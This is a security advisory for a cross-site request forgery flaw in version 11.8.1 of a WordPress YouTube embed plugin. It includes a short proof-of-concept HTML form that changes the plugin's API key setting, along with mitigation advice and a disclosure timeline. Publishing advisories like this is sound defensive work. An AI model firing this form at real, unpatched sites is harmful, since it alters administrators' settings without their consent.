Details
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Software: YouTube
Version: 11.8.1
Homepage: https://wordpress.org/plugins/youtube-embed-plus/
Advisory report: https://security.dxw.com/advisories/csrf-in-youtube-plugin/
CVE: Awaiting assignment
CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N)

Description
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CSRF in YouTube (WordPress plugin) could allow unauthenticated attacker to change any setting within the plugin

Vulnerability
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The plugin contains a CSRF vulnerability which allows an attacker to change any setting in the plugin so long as they can cause a logged-in admin user to follow a link.
The impact of the CSRF vulnerabilityA appears to be limitedA because it seems thatA the plugin is not vulnerable to XSS orA anything else which could be used in conjunction with the CSRF vulnerability.

Proof of concept
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Visit a page with the following content, and click submit:
<form method=\"POST\" action=\"http://localhost/wp-admin/admin.php?page=youtube-my-preferences\">
  <input type=\"text\" name=\"ytprefs_submitted\" value=\"Y\">
  <input type=\"text\" name=\"apikey\" value=\"HELLO\">
  <input type=\"submit\">
</form>
The aYouTube API Key:a value will be set to aHELLOa.
In a real attack, forms can be auto-submitted.

Mitigations
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Upgrade to versionA 11.8.2 or later.

Disclosure policy
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dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2017-06-12: Discovered
2017-07-18: Reported toA ext@embedplus.com
2017-07-18: First response from vendor, promises a new version
2017-07-19: New version released (changelog says aMake settings form more securea)
2017-07-25: Advisory published



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.